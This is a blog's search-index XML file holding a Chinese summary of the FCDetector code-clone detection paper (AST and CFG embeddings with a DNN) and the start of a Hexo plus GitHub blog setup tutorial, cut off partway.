-
Notifications
You must be signed in to change notification settings - Fork 0
/
local-search.xml
635 lines (305 loc) · 624 KB
/
local-search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>FCDetector:Functional code clone detection with syntax and semantics fusion learning</title>
<link href="/2021/043852b75b.html"/>
<url>/2021/043852b75b.html</url>
<content type="html"><![CDATA[<h1 id="fcdetector"><a class="markdownIt-Anchor" href="#fcdetector"></a> FCDetector</h1><p>论文题目:<a href="https://dl.acm.org/doi/abs/10.1145/3395363.3397362">(2020-ISSTA)Functional code clone detection with syntax and semantics fusion learning</a> (通过语法和语义融合学习进行功能代码克隆检测)</p><p>论文引用:Fang C, Liu Z, Shi Y, et al. Functional code clone detection with syntax and semantics fusion learning[C]//Proceedings of the 29th ACM SIGSOFT International Symposium on Software Testing and Analysis. 2020: 516-527.</p><p>工具开源:<a href="https://github.com/shiyy123/FCDetector">shiyy123/FCDetector</a></p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文对C++语言进行克隆检测,本文方法将具有 调用-被调用者关系(caller-callee relationships) 的连接方法视为一种功能(functionality),并且与其他方法没有任何 调用-被调用者关系的方法代表一个功能。</p><ol><li>首先对代码进行了对句法和语义特征的学习</li><li>使用 word2vector 分别对语义与语法信息进行提取,转化为向量</li><li>然后使用有监督的深度进行进行克隆检查。</li></ol><h2 id="二-背景介绍"><a class="markdownIt-Anchor" href="#二-背景介绍"></a> 二、背景介绍</h2><p>代码克隆检测是许多软件工程任务的基础,例如重构,代码搜索,重用和漏洞检测(bug detection),如果在代码段中标识了漏洞,则需要检查所有克隆的代码段是否存在相同的漏洞,即代码克隆会导致缺陷传播,从而严重影响维护成本。因此,代码克隆检测在软件工程中是重要的,并且已经被广泛研究。</p><p>根据不同的相似度级别,代码克隆可分为四种类型:</p><ul><li>Type-1(完全相同的代码段):两个相同的代码段,但空格,空格和注释除外。</li><li>Type-2(重命名/参数化代码):相同的代码段,但变量名称,类型名称,文字名称和函数名称除外。</li><li>Type-3(几乎相同的代码段):两个相似的代码段,但添加或删除了多个语句。</li><li>Type-4(功能克隆):具有<strong>相同功能</strong>但具有不同代码结构或语法的异构代码段。</li></ul><p>本文提出了一种通过语法和语义融合学习(syntax and semantics fusion learning)的方法来检测功能代码克隆。</p><ul><li>在提取句法和语义特征之前分析方法调用关系(call relationship)。</li></ul><p>本文基本思想是通过分析调用图(call graph)和基于嵌入技术 AST和CFG 的句法和语义特征来识别不同代码段的相似功能。</p><p>本文分别使用AST和CFG表示语法和语义特征,训练了DNN模型来检测功能性的代码克隆</p><h3 id="常用方法"><a class="markdownIt-Anchor" href="#常用方法"></a> 常用方法</h3><p>许多现有方法都可以很好地检测出Type-1,Type-2和Type-3代码克隆。但是,在检测Type-4代码克隆方面仍然存在一些未解决的问题。</p><p>一种常用的基于语法的代码表示形式是AST(抽象语法树),它可以表示每个语句的语法,在某些情况下,具有不同语法的代码片段可以实现相同的功能,可以将其视为功能克隆。</p><ul><li>例如,如果直接计算文本相似度,则语句 “ i = i + 1” 和“ i + = 1”是不相同的。但是这两个语句共享相同的AST。典型的方法使用语法解析器将源代码解析为语法树。</li></ul><p>另一个常用的基于语义的代码表示形式是PDG(程序依赖图)。 PDG是一种图形表示法,既包含数据依赖关系,又包含控制依赖关系。 PDG可以将代码片段划分为基本代码块并表征其结构。具有不同结构的相同功能代码段可以检测为克隆。</p><ul><li>例如,for 和 while循环结构具有不同的AST,但它们的PDG相同。</li><li>典型的方法包括Duplix 和GPLAG ,它们通过比较代码对的同构图来检测克隆。</li></ul><h4 id="现有方法缺陷"><a class="markdownIt-Anchor" href="#现有方法缺陷"></a> 现有方法缺陷</h4><p>基于语法的方法和基于语义的方法都有其局限性。</p><p>AST可以表示源代码的抽象语法,但它无法捕获语句之间的控制流;PDG中的每个节点都是一个基本代码块(即至少是一个语句),与AST相比PDG太粗糙了,而粒度不正确可能会导致代码块内部缺少详细信息。</p><ul><li>例如,对于语句“ int a = b + c”,AST节点为int,=,+,a,b,c。</li><li>但是,此总体声明在PDG的表现为节点。此外,用于复杂代码的PDG可能非常复杂,并且图同构的计算不可扩展</li></ul><p>此外,AST通常用于表示一种方法,而PDG用于表示整个文件。</p><ul><li>大多数现有方法在单个方法或单个文件的粒度上比较代码相似性。</li><li>而一个功能(functionality)可能包含多种方法,也即单个方法可能无法表达功能的完整含义。</li><li>同一个文件可能包含一些不相关的功能(functionality),因此这些粒度级别可能不是功能克隆检测的最佳选择。</li></ul><h3 id="本文方法"><a class="markdownIt-Anchor" href="#本文方法"></a> 本文方法</h3><p>为了克服上述限制,本文使用调用图(call graph)来组合相关方法,因此粒度是灵活的,并且取决于实际功能的粒度。此外使用CFG(Control Flow Graph,控制流图)来表示代码结构,而不是采用更复杂的PDG。</p><ul><li>CFG可以捕获与 PDG 相同的控制依赖性,并且可以克服耗时的障碍。</li><li>每种方法都可以生成为AST和CFG</li><li>由于 AST 和 CFG 的表示形式具有不同的结构,因此无法直接融合,因此本文应用<strong>嵌入学习技术</strong>(embedding learning techniques) 来生成固定长度的连续值向量(fixed-length continuous-valued vectors)。这些向量是线性结构,因此可以有效地融合句法和语义信息,特别适合于深度学习模型。</li><li>然后对大型现实数据集的广泛评估显示了对 功能性代码克隆检测的的结果。</li></ul><h2 id="三-提出背景"><a class="markdownIt-Anchor" href="#三-提出背景"></a> 三、提出背景</h2><p>典型的代码克隆检测方法通常遵循三个步骤:</p><ol><li>代码预处理:删除源代码中不相关的内容,例如注释;</li><li>代码表示:从源代码中提取不同种类的抽象,例如AST(抽象语法树)和PDG(程序依赖图)</li><li>代码相似度比较:计算两个源代码之间的距离;当此距离达到阈值时,将检测到代码克隆。</li></ol><p>由于代码表示形式对功能代码克隆的检测具有至关重要的作用,因此本文主要介绍语法表示形式AST和语义表示形式CFG的背景,而这些树和图结构不能直接用于网络,简要讨论单词嵌入和图嵌入的背景。</p><h3 id="abstract-syntax-tree"><a class="markdownIt-Anchor" href="#abstract-syntax-tree"></a> Abstract Syntax Tree</h3><p>抽象句法树(AST)是用编程语言编写的源代码抽象句法结构的树表示,此树定义了源代码的结构,通过操纵这棵树研究人员可以精确地定位声明语句、赋值语句、操作语句、实现分析、优化和更改代码等操作。</p><h3 id="control-flow-graph"><a class="markdownIt-Anchor" href="#control-flow-graph"></a> Control Flow Graph</h3><p>控制流图(CFG)是使用图形表示法的表示,在执行过程中可能会遍历程序的所有路径。 在每个CFG中都有一个包含几个代码语句的基本块,CFG可以轻松每个基本块的信息,它可以轻松找到程序中无法访问的代码,并且在控制流程图中易于检测到诸如循环之类的语法结构。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423205249931.png" alt="图1 使用调用图识别功能" /></p><h3 id="word-embedding"><a class="markdownIt-Anchor" href="#word-embedding"></a> Word Embedding</h3><p>词嵌入(Word embedding)是自然语言处理(NLP)中语言模型和表示学习技术的统称</p><ul><li>将具有所有单词数量的高维空间嵌入到维数较低的连续向量空间中,并将每个单词或短语映射到实数字段上的向量中。</li><li>由于源代码和自然语言在某些方面相似,因此许多方法尝试使用词嵌入技术来处理源代码。</li></ul><h3 id="graph-embedding"><a class="markdownIt-Anchor" href="#graph-embedding"></a> Graph Embedding</h3><p>图通常是高维的并且难以处理,比如社交网络,流程图和通信网络之类的。现在已经有图形嵌入算法(graph embedding algorithms)作为降维技术的一部分,大多数图形嵌入技术旨在将图形的每个节点转换为向量。</p><p>由于 CFG 是典型的图形,因此一些现有方法尝试使用图形嵌入技术进行代码表示,例如,Tufano 使用一种图形嵌入技术来表示语义特征。在本文中比较了几种图形嵌入技术,并选择了最有效的 CFG 表示技术。</p><h3 id="motivating-example"><a class="markdownIt-Anchor" href="#motivating-example"></a> Motivating Example</h3><p>为了检测功能性代码克隆,首先提取调用图(call graph)并分析每个文件的功能,将具有调用于被调用者关系的方法视为一种功能。与其他方法没有任何 调用于被调用者关系 的方法可以视为独立功能。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423205249931.png" alt="image-20210423205249931" /></p><ul><li>对于图1(a)和1(b)中所示的两个源代码文件,CodeSample1 中的方法A实现了简单的计算功能。</li><li>在CodeSample2中,方法C调用方法B,它们的组合实现与方法A相同的功能。</li><li>如图1(c)所示,如果我们以方法粒度检测代码克隆,我们可以看到方法A的CFG, B和C在结构上不同。</li></ul><p>但是,根据调用图组合方法B和C后,可以发现组合的控制流与方法A等效。因此,考虑方法之间的调用图后,我们可以得出结论:CodeSample1 中的方法A和方法A中的方法A相同—— CodeSample2中方法B和C的组合是功能克隆。</p><p>如果我们仅在方法级别检测功能,则结果将产生误导。此外,以文件粒度检测功能克隆也是不合适的。</p><ul><li>注意:CodeSample1中有一个方法D,与方法A无关,直接将它们组合在一起是不合理的。因此,更适合在捕获代码特征之前提取调用图并识别功能。</li></ul><p>确定每个文件的功能后,通过分析AST和CFG来检测功能代码克隆。</p><p>CFG 可以反映语句的结构并显示控制流程,控制流是抽象的,无法清楚地识别CFG中节点之间的差异。</p><ul><li>因此通过语法和语义融合学习来检测代码克隆。</li><li>可以通过分析AST来捕获语法。</li></ul><p>例如,如果在方法A中将for循环中的符号 + =”更改为 “ * =”,则功能将完全更改。</p><ul><li>但是,由于CFG结构未更改,因此,如果仅考虑CFG,则将导致假阳性结果。</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423210308255.png" alt="image-20210423210308255" /></p><p>这两个代码段之间的差异位于两个循环主体的AST内部,如图2所示。因此,有必要同时考虑语法和语义以进行功能代码克隆检测。</p><p>此外,某些代码结构可以实现相同的功能,但是AST结构完全不同。</p><ul><li>例如,for循环和递归结构都可以计算给定输入的阶乘,而这两个代码结构的AST完全不同。</li><li>但是,两个代码段的过程间控制流图非常相似,两者都包含一个循环。</li></ul><p>由于我们的方法不仅分析AST,而且利用过程间信息(例如调用图),因此本文方法可有效检测此类过程间代码克隆。</p><h2 id="四-本文方法"><a class="markdownIt-Anchor" href="#四-本文方法"></a> 四、本文方法</h2><p>本文提出的方法包括以下三个组成部分:</p><p>1、<strong>Identify the functionality with call graph</strong>(通过调用图识别功能):为了确定每个源代码文件中的功能,提取了调用图以分析方法之间的调用者与被调用者之间的关系。将具有 caller-callee 关系的方法作为功能组合在一起。其他方法中没有任何 caller-callee 关系的方法被认为是独立的功能。</p><p>2、<strong>Extract syntactic and semantic representations</strong> (提取句法和语义表示):为了捕获代码特征,需要提取AST和CFG来表示语法和语义。</p><ul><li>首先,提取每种方法的AST和CFG</li><li>然后根据调用图(call graph)将相关方法的AST和CFG结合起来,组合的 AST / CFG代表单独的功能</li><li>最后,使用嵌入技术(embedding techniques)将AST和CFG编码为语法和语义特征向量。</li></ul><p>3、<strong>Train a DNN model</strong> (训练DNN模型):为了将功能克隆检测转换为二进制分类,本文训练了带有标记数据的DNN分类器模型。</p><ul><li>当遇到两个新函数时,提取并融合特征向量,并使用经过训练的模型来预测它们是否为代码克隆。</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210417210815.png" alt="image-20210417210815238" /></p><h3 id="identifying-the-functionality-with-call-graph"><a class="markdownIt-Anchor" href="#identifying-the-functionality-with-call-graph"></a> Identifying the Functionality with Call Graph</h3><p>本文提取调用图以标识每个源代码文件中的功能,调用图表示程序中方法之间的调用关系。</p><ul><li>每个节点表示一个方法,每个边沿(f,g)表示该方法 f 调用方法 g。</li><li>对于输入源代码文件,它们中的所有语句都标记有全局唯一ID,可以将其视为标识符。</li></ul><p>调用方与被调用方的关系以三元组的形式表示:⟨callerId, statement Id, calleeId⟩</p><ul><li>callerId 和 calleeId是相应方法的语句ID, statementId是 call语句的ID。</li></ul><p>例如,在图1(b)中,方法C调用了方法B。因此,调用方语句在第10行中为int C(),调用语句为c = B(a,b,flag);</p><p>在第14行中,被调用者语句在第1行中是int B(int a,int b,bool标志)。根据调用图表达式,我们可以获得连接的方法作为功能。</p><p>为了说明 呼叫者与被呼叫者 之间的关系,本文列出了六个调用图实例,这六个静态呼叫图实例是最常用的呼叫图:</p><ul><li>在情况(1)中,存在一种功能,其中包括方法A;</li><li>在情况(2)中,方法A对其自身进行递归调用,并且还存在一个功能,其中包含单个方法A;</li><li>在情况(3)中,存在方法A调用方法B的情况,并且该情况具有包括方法A和方法B的功能。</li><li>在情况(4)中,方法A和方法B相互调用,并且具有包括方法A和方法B的功能。</li><li>在情况(5)中,方法A调用方法B,方法A调用方法C,但也只有一个功能,该功能包括方法A,B和C。</li><li>在情况(6)中,方法B调用方法A,方法C调用方法A。有两种功能,一种包括方法{A,B},另一种包括方法{A,C}。</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423211124505.png" alt="Six kinds of caller-callee relationships among methods" /></p><h3 id="extracting-syntactic-and-semantic-representations"><a class="markdownIt-Anchor" href="#extracting-syntactic-and-semantic-representations"></a> Extracting Syntactic and Semantic Representations</h3><h4 id="ast-representation"><a class="markdownIt-Anchor" href="#ast-representation"></a> AST Representation</h4><p>假设 C 是代码段C,而Nroot是其对应的AST入口节点。为了提取C的语法表示形式,首先从Nroot开始,并按顺序迭代遍历AST的所有节点。</p><ul><li>在每个AST节点中,都有一个标识符,例如符号和变量名</li><li>在此过程中生成的标识符序列可用于表示 C 的语法信息:Seq = {ident1, ident2, . . . , identn }</li></ul><p>在不同的程序中,变量的命名可能会有很大的不同。因此,变量名称可能会对功能克隆检测产生影响。给定一个标识符序列 Seq:</p><ul><li>首先通过将常量值和变量替换为其类型来标准化它:⟨int⟩,⟨double⟩,⟨char⟩和⟨string⟩</li><li>并添加一个全局自增数,例如⟨int1⟩。</li><li>当遇到小数时,无论是“ float”还是“ double”,将它们统一为“ double”。</li></ul><p>提取每种方法的AST并获得相应的标识符序列Seq,</p><ul><li>根据调用图提取的呼叫者与被调用者之间的关系,将每个连接方法的AST组合为一组AST。</li><li>对于具有连接的方法,使用其AST的集合来表示功能的语法。</li><li>同样,对于没有主叫方关系的方法,使用相应的AST表示功能的语法。</li></ul><h3 id="cfg-representation"><a class="markdownIt-Anchor" href="#cfg-representation"></a> CFG Representation</h3><p>与AST相比,CFG捕获了更全面的语义信息,例如分支和循环。尽管CFG还包含基本块级别的语法信息,但是与从AST级别以标识符级别的粒度提取的语法信息相比,CFG的表示对于检测功能克隆而言过于粗糙,因此专注于提取语义</p><p>给定一个代码段C,为每种方法提取其 CFG G =(V,E),其中V是一组顶点,E是一组边,每个顶点都包含一个源代码声明,并且边表示该声明的控制流。</p><ul><li>首先提取每种方法的CFG并获得相应的图G。然后根据调用图关系连接CFG并生成一个更大的CFG来表示功能。</li></ul><p>具体的连接规则如下:</p><ul><li>在情况(1)中,功能的 CFG与方法的CFG相同;</li><li>在情况(2)中,功能的CFG也与方法的CFG相同,并且从调用者语句向方法的入口节点添加了一条边;</li><li>在情况(3)中,首先需要添加方法A和B的CFG,然后获得方法A中功能调用语句的父节点列表和子节点列表,然后将所有节点都指向该条目方法B中的节点,所有子节点都指向方法B中的出口节点;</li><li>情况(4),(5)与情况(3)类似,并且另外修改了与另一个函数调用语句相关的边;</li><li>在情况(6)中,有两个功能,因此我们需要分别处理这两个功能。</li></ul><h4 id="embedding-syntactic-feature-of-functionality"><a class="markdownIt-Anchor" href="#embedding-syntactic-feature-of-functionality"></a> Embedding Syntactic Feature of Functionality</h4><p>嵌入功能的语法特征</p><p>源代码中的每个方法都表示为一系列标识符,使用Word2vec 对语法特征进行编码。</p><ul><li>词嵌入是语言模型的通用术语,它会将高维空间词嵌入到维数较低的连续向量空间中,其中每个词都映射到实数字段中的向量。</li></ul><p>如图所示,为了对每种方法的语法特征进行编码,将每种方法的归一化标识符序列Seq合并为语料库。Word2vec使用语料库作为训练模型的输入,并输出一组<strong>固定长度的矢量</strong>来表示每个AST节点。</p><p>为了获得每种方法的语法特征向量,将平均池(average pooling)应用于每种方法中所有标识符的向量,在此步骤之后,每种方法的语法信息都表示为固定长度的特征向量</p><p>mv = average(hi ), i = 1, . . . , N</p><ul><li>其中hi是每个标识符的特征向量,</li></ul><p>然后对每种功能(即连接的方法)应用平均池化以产生相应的句法特征,每个功能的语法信息表示为固定长度的特征向量。</p><p>v = average(mvi ), i = 1, . . . , N</p><ul><li>其中mvi是每种方法的语法特征向量。</li></ul><h4 id="embedding-semantic-feature-of-functionality"><a class="markdownIt-Anchor" href="#embedding-semantic-feature-of-functionality"></a> Embedding Semantic Feature of Functionality</h4><p>嵌入功能的语义特征</p><p>使用图嵌入技术对 CFG 进行编码,</p><ul><li>图形嵌入是使用低维且密集的矢量来表示图形中的每个节点,向量表示可以反映图中的结构。</li></ul><p>本质上,两个节点共享的相邻节点越多(即,两个节点的上下文越相似),则两个节点的对应向量越接近。</p><p>图嵌入后,每种方法都表示为固定长度的特征向量,有许多图形嵌入技术,例如Graph2vec,HOPE ,SDNE 和Node2vec 。</p><p>与其他图嵌入技术不同,Graph2vec 可以生成一个向量来反映整个图的特征,比较了不同的嵌入技术,表4中的结果表明Graph2vec表现出最佳的F1值。</p><p>对于每种方法,本文使用 Graph2vec 生成的特征向量来表示语义特征向量;对于每种功能,根据调用图连接连接方法的所有CFGs,根据连接规则可以获得连接方法的连接CFG。</p><ul><li>然后在此功能的连接CFG上应用 图嵌入,将连接的CFG转换为特征向量。</li></ul><h3 id="training-a-dnn-model"><a class="markdownIt-Anchor" href="#training-a-dnn-model"></a> Training a DNN Model</h3><p>为了检测功能代码克隆,可以按照功能上的粒度直接比较语法和语义编码的联合特征向量之间的欧几里得距离。</p><ul><li>这种基于距离的方法已在先前的工作中用于检测语法克隆,例如Deckard [9]。</li></ul><p>但是,在本文情况下直接计算距离不起作用,因为提取的节点特征向量之间的距离是不规则的,因为每个维度的权重都不同,并且难以手动设置适当的阈值以区分功能代码克隆,如图所示。</p><p>特征向量之间的欧式距离</p><ul><li>蓝线表示相似代码段之间的距离,红线代表不同代码段之间的距离。</li><li>横轴是代码段的ID</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423213015031.png" alt="Euclidean distance between feature vectors." /></p><p>为了解决这个问题,本文使用深度学习模型,因为该模型可以有效地检测代码片段之间的功能克隆。</p><ul><li>特别是,我们融合了句法和语义特征向量作为输入来训练前馈神经网络[32],并将代码克隆检测转换为模型末尾的softmax层的二进制分类。</li></ul><p>没有选择特定的距离度量或设置克隆检测的阈值,而是采用深度学习技术进行功能代码克隆检测,该技术可以从融合特征向量中自动学习潜在代码特征。</p><p>DNN模型的体系结构如图7所示,它由四个组件组成。</p><ul><li>首先根据获得语法和语义特征,并将这两个特征串联在一起作为模型的输入,其中语法和语义信息都用16 维向量表示。</li><li>为了获得AST和CFG的单词嵌入和图形嵌入,使用 Word2vec 和Graph2vec生成长度为{4,8,16,32} 的单词嵌入和长度为{4,8,16,32} 的图形嵌入。</li></ul><p>根据实验,本文选择向量长度为16,简而言之,较长的向量将增加训练时间,而较短的向量将无法捕获足够的代码特征。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423213302618.png" alt="The architecture of the deep fusion learning model" /></p><p>使用一对代码功能(code features)来表示这两个功能是否为克隆。</p><ul><li>输入向量包含三个部分:用于第一功能的融合特征向量V1、用于第二功能的融合特征向量V2、标签。</li></ul><p>融合特征向量包含 16 维语法向量和16维语义向量,标签是布尔值,其中0表示非克隆对,而1表示克隆对。</p><p>因此,输入的总尺寸为65(32 + 32 + 1)。</p><p>在 [V1,V2] 和 [V2,V1] 这两个功能的融合特征的顺序可能会影响分类结果。</p><ol><li>输入两个要素之前放置一个完全连接的层。</li><li>然后,隐藏层使用线性变换,然后再压缩非线性,以将输入变换为二进制分类层中的神经节点,该步骤可以提供复杂且非线性的假设模型,该模型具有权重矩阵W以适合训练集。</li><li>在下一个组件中,该模型然后使用反向传播根据训练集调整权重矩阵W。</li><li>最后,有一个softmax层,它将功能克隆检测转换为分类任务。</li></ol><p>假设有两个代码融合向量V1和V2,并且它们的距离由d = | v1- v2 |来度量句法和语义上的相关性。然后将输出视为它们的相似性:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423214209957.png" alt="image-20210423214209957" /></p><p>其中 Wor 是隐藏层的权重矩阵:</p><ul><li>该模型使用交叉熵损失函数,该函数在更新权重方面要优于均方损失函数,训练模型的目的是使损失最小化。</li><li>选择AdamOptimizer ,因为它可以将学习速率控制在一定范围内,并且参数相对稳定。</li><li>该模型是DNN分类器,具有两个类。</li></ul><p>在优化所有参数之后,将存储经过训练的模型,对于新的代码片段应将其预处理为语法和语义向量,然后将其馈入模型以进行预测,输出为1或0,代表克隆或非克隆代码对</p><h2 id="五-实验评估"><a class="markdownIt-Anchor" href="#五-实验评估"></a> 五、实验评估</h2><p>数据集:OJClone,一个教学程序在线判断系统,主要包括C / C ++源代码。OJClone包含104个编程任务,每个任务包含500个由不同学生提交的源代码文件</p><ul><li>对于同一任务,由不同学生提交的代码文件被视为功能代码克隆(functional code clones)。每个代码段都可以用(s1,s2,y)表示<ul><li>其中s1和s2是两个代码段,而y是它们的代码克隆标签。</li><li>y的值为{0,1}。</li><li>如果s1和s2解决同一任务,则y的值为0。</li><li>如果s1和s2解决不同的任务,则y的值为1。</li></ul></li><li>从104个问题中选择 前35个问题,每个问题有100个源文件</li></ul><p>为每个任务生成了100 * 100个克隆对,并为两个不同的任务生成了100 * 100个非克隆对。</p><ul><li>当问题集超过两个时,非克隆对将远远多于克隆对,而数据的不平衡会影响实验结果,因此本文采用<strong>欠采样</strong>来平衡克隆对和非克隆对。</li><li>将数据集随机分为两部分,分别用于训练和测试的比例分别为80%和20%。使用AdamOptimizer,训练率为0.001,训练时期为10000。</li></ul><h3 id="实验平台"><a class="markdownIt-Anchor" href="#实验平台"></a> 实验平台</h3><p>具有8个内核的2.4GHz CPU和NVIDIA GeForce GTX 1080 GPU的服务器。</p><h3 id="评估标准"><a class="markdownIt-Anchor" href="#评估标准"></a> 评估标准</h3><p>RQ1:与最新方法相比,本文方法在功能代码克隆检测中的表现如何?</p><p>为了评估我们的方法的性能,我们将我们的方法与几种最新的代码克隆方法进行了比较,如下所示:</p><ul><li>Deckard是一种基于语法树的方法,它使用欧几里得距离来比较代码片段之间的相似性以检测代码克隆。</li><li>SourcererCC,这是一种基于令牌的代码克隆检测器,适用于非常大的代码库和Internet规模的项目存储库。</li></ul><p>将源代码转换为定义的树结构,并使用卷积神经网络学习无监督的深层特征稍,将其简称为DLC:</p><ul><li>CDLH,一种深度学习方法,用于学习代码克隆的语法功能,它将代码克隆检测转换为对源代码哈希特性的监督学习。</li><li>DeepSim,这是一种基于语义的方法,将受监督的深度学习应用于度量功能代码的相似性。</li><li>ASTNN,一种基于最新神经网络的源代码表示形式,用于源代码分类和代码克隆检测。</li></ul><p>在精度(P),召回率(R)和F1度量(F1)方面将我们的方法与这些代码克隆检测方法进行了比较。</p><ul><li>因为数据集主要属于功能代码克隆,所以检测性能可以表明这些方法检测功能克隆的能力。</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210417211402.png" alt="Table 1: Results on OJClone" /></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210417212009.png" alt="Time performance on OJClone" /></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423215133498.png" alt="Comparison with machine learning techniques" /></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/image-20210423215143692.png" alt="The F1 values for different length of embeddings" /></p><h2 id="六-本文评价"><a class="markdownIt-Anchor" href="#六-本文评价"></a> 六、本文评价</h2><p>本文提出了用于功能识别的细粒度源代码。</p><ul><li>将具有caller-callee关系的方法视为功能的实现。</li><li>本文方法据说是首先在功能代码克隆检测中考虑调用图(call graph)的。 提出了一种嵌入了对句法和语义特征的代码表示形</li><li>结合语法和语义信息,可以精确检测功能代码克隆。</li></ul>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>CFG</tag>
</tags>
</entry>
<entry>
<title>Hexo + Github 搭建博客</title>
<link href="/2021/04bd7e40d4.html"/>
<url>/2021/04bd7e40d4.html</url>
<content type="html"><![CDATA[<h1 id="hexo"><a class="markdownIt-Anchor" href="#hexo"></a> Hexo</h1><blockquote><p><a href="https://hexo.io/zh-cn/docs/">Hexo 文档 </a></p></blockquote><p>Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用 <a href="http://daringfireball.net/projects/markdown/">Markdown</a>(或其他渲染引擎)解析文章,在几秒内,即可利用靓丽的主题生成静态网页。</p><h2 id="hexo-安装"><a class="markdownIt-Anchor" href="#hexo-安装"></a> Hexo 安装</h2><h3 id="安装前提"><a class="markdownIt-Anchor" href="#安装前提"></a> 安装前提</h3><p>安装 Hexo 相当简单,只需要先安装下列应用程序即可:</p><ul><li><a href="http://nodejs.org/">Node.js</a> (Node.js 版本需不低于 10.13,建议使用 Node.js 12.0 及以上版本)</li><li><a href="http://git-scm.com/">Git</a></li></ul><p>检测是否成功安装:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 查看 Node.js 版本</span><br>$ node -v<br>v10.21.0<br><br><span class="hljs-comment"># 查看 Git 版本</span><br>$ git version<br>git version 2.29.1.windows.1<br></code></pre></td></tr></table></figure><h3 id="安装-hexo"><a class="markdownIt-Anchor" href="#安装-hexo"></a> 安装 Hexo</h3><p>所有必备的应用程序安装完成后,即可使用 npm 安装 Hexo。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ npm install -g hexo-cli<br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407152304.png" alt="image-20210407152257558" /></p><h3 id="进阶安装和使用"><a class="markdownIt-Anchor" href="#进阶安装和使用"></a> 进阶安装和使用</h3><p>对于熟悉 npm 的进阶用户,可以仅局部安装 <code>hexo</code> 包。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ npm install hexo<br></code></pre></td></tr></table></figure><p>安装以后,可以使用以下两种方式执行 Hexo:</p><ol><li><code>npx hexo <command></code></li><li>将 Hexo 所在的目录下的 <code>node_modules</code> 添加到环境变量之中即可直接使用 <code>hexo <command></code>:</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'PATH="$PATH:./node_modules/.bin"'</span> >> ~/.profile<br></code></pre></td></tr></table></figure><h2 id="hexo-简易使用"><a class="markdownIt-Anchor" href="#hexo-简易使用"></a> Hexo 简易使用</h2><h3 id="快速建站"><a 